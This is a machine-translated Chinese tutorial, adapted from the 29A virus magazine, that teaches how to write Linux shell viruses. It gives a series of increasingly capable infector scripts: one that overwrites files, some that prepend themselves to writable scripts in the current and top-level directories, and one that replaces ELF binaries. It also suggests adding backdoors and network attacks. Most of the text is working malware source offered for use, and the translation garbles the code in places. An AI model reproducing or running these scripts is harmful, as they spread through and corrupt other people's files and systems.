Infected Linux scripting technology _unix Linux

Objective
----
 This article comes from the 29A Virus magazine, it has a comprehensive elaboration to the Linux shell virus technology, I do not want to translate it, I take its that article as the template
Write this article in Chinese, the code inside I have done debugging.
 for Shell programmers, the so-called shell virus technology is actually a calf, this point after you have read this article will have some experience
But, simple to return to simple, we still have to understand it, hehe.

The main shell virus technology
-------------------
 of course, this article will require you to at least understand the basics of Linux shell programming and the virus knowledge of one star point.
ok!, let's get to the point!
 let's look at one of the most primitive shell viruses, the code best describes the problem:
---------------------------------------------------------
#shellvirus I
For file in *
Todo
CP $ $file
Done
---------------------------------------------------------
Easy, huh? Iterate through all the files on the current file system and overwrite all files. However, we know Linux is a multi-user operating system, and its files are
Protected mode, so the above script may report a lot of errors, so it will soon be discovered by the administrator and put an end to its infection. So we can
Make a judgment of the script so that the concealment is greatly enhanced:
---------------------------------------------------------
#shellvirus II
For file in *
Todo
if test-f $file
then
if test-x $file
then
if test-w $file
then
if grep-s Echo $file >.mmm
then
CP $ $file
Fi Fi Fi Fi Fi
Done
Rm. mmm-f
---------------------------------------------------------
OK, we have improved, added a number of judgments to determine whether the file exists, whether the file is executable, whether we have permission to write, and then judge whether it is a script program
If it is on the CP $ $file, so this code is a sense of the system all the script, the harm is still relatively large. If Grep-s echo $file >/.mmm
This sentence can also be written like this: if File $file | Grep-s ' Bourne shell script ' >/dev/nul; Then, which is to tell if file is a shell
Script program.
 However, once the script virus has been infected with nothing, it is not as insidious as the binary virus, and the above script is just Jane
Single coverage, so I took advantage of the traditional binary virus infection mechanism, the effect is good:), look at the following code:
---------------------------------------------------------
#infection
Head-n $ > test<-to save itself to. Test
For file in *<-traversal of the filesystem
Todo
if test-f $file <-to determine whether it is a file
then
if test-x $file <-to determine whether the file is executable
then
if test-w $file <-to determine whether a file is writable
then
if grep-s Echo $file >.mmm<-to determine whether it is a scripting program
then
head-n 1 $file >.mm<-extract the first line of the script to infect
if grep-s infection. MM >.mmm<-Determine if the file is infected
then
rm-f. mm<-has been infected, then skipped
else<-has not yet been infected.
cat $file >. Savee<-familiar with it? The infection mechanism of traditional binary files was borrowed
cat. Test > $file
cat. Savee >> $file
fi; Fi Fi Fi Fi
Done
Rm. Test. Savee. Mmm. mm-f
--------------------------------------------------------
program annotation enough to explain, in fact, increased the latent harm, but still very easy to be found, no way of things, shell scripts are generally clear, hehe. but
The danger is already quite large. This procedure uses an infection sign: infection to determine if it has been infected and can be reflected in the program.
OK, in order to make the above code not easy to find, I have to optimize it, the first consideration must be refined code:
--------------------------------------------------------
#infection
for file in *; do
if test-f $file && test-x $file && test-w $file; Then
if grep-s echo $file >/dev/nul; Then
head-n 1 $file >.mm
if grep-s infection. mm >/dev/nul; Then
rm. mm-f; Else
cat $file >. Savee
head-n $ > $file
cat. Savee >> $file
Fi Fi Fi
Done
Rm. Savee. mm-f
--------------------------------------------------------
Now only two temporary files have been generated, and the code has been streamlined to 13 lines. Of course it can be used entirely; to write code even to 1-2 lines, but here I'm just explaining the problem
Don't write it out.
Well, let's see what else the shell virus can do to help, and maybe we want to infect files in other directories, such as the root directory or/etc,/bin, and so on, because most
Number of useful system configuration scripts are stored in those directories, as long as the above code to make a slight change can be achieved:
--------------------------------------------------------
#infection
xtemp= $pwd <-Save the current path
Head-n $ >/.test
For dir in/*; do<-Traversal/Directory
If test-d $dir; then<-If the directory is on the CD that directory
CD $dir
for file in *; do<-traverse the directory file
if test-f $file && test-x $file && test-w $file; then<-to determine if the file is executable and writable
if grep-s echo $file >/dev/nul; then<-determine if the script program
head-n 1 $file > mm
if grep-s infection. mm >/dev/nul; then<-determine if it has been infected.
rm. mm-f; Else
cat $file >/. Savee<-is infected with an uninfected script like the previous infection mechanism.
cat/.test > $file
cat/. Savee >> $file
fi; Fi Fi
done
cd..
Fi
Done
CD $xtemp <-return to the original directory
RM/.test/. Savee. mm-f
-------------------------------------------------------------
In fact, this code only infected/directory of a directory. Of course, we can make it more infected, just add a few loops. Same shell virus can do a lot of things
such as download backdoor procedures, for the machine automatic backdoor, the initiative to attack the network of other machines, take the user's email to send transmission and so on. In short, its implementation of technology is not advanced,
But also more practical, or is worth to explain, hehe.
In the same way, we can infect elf files, but the harm is very small, here is not the focus, give the case to everyone understand it:
-------------------------------------------------------------
for file in *; do
if test-f $file && test-x $file && test-w $file; Then
if File $file | Grep-s ' ELF ' >/dev/nul; Then
MV $file. $file
head-n 9 $ > $file
Fi Fi
Done
. $
-------------------------------------------------------------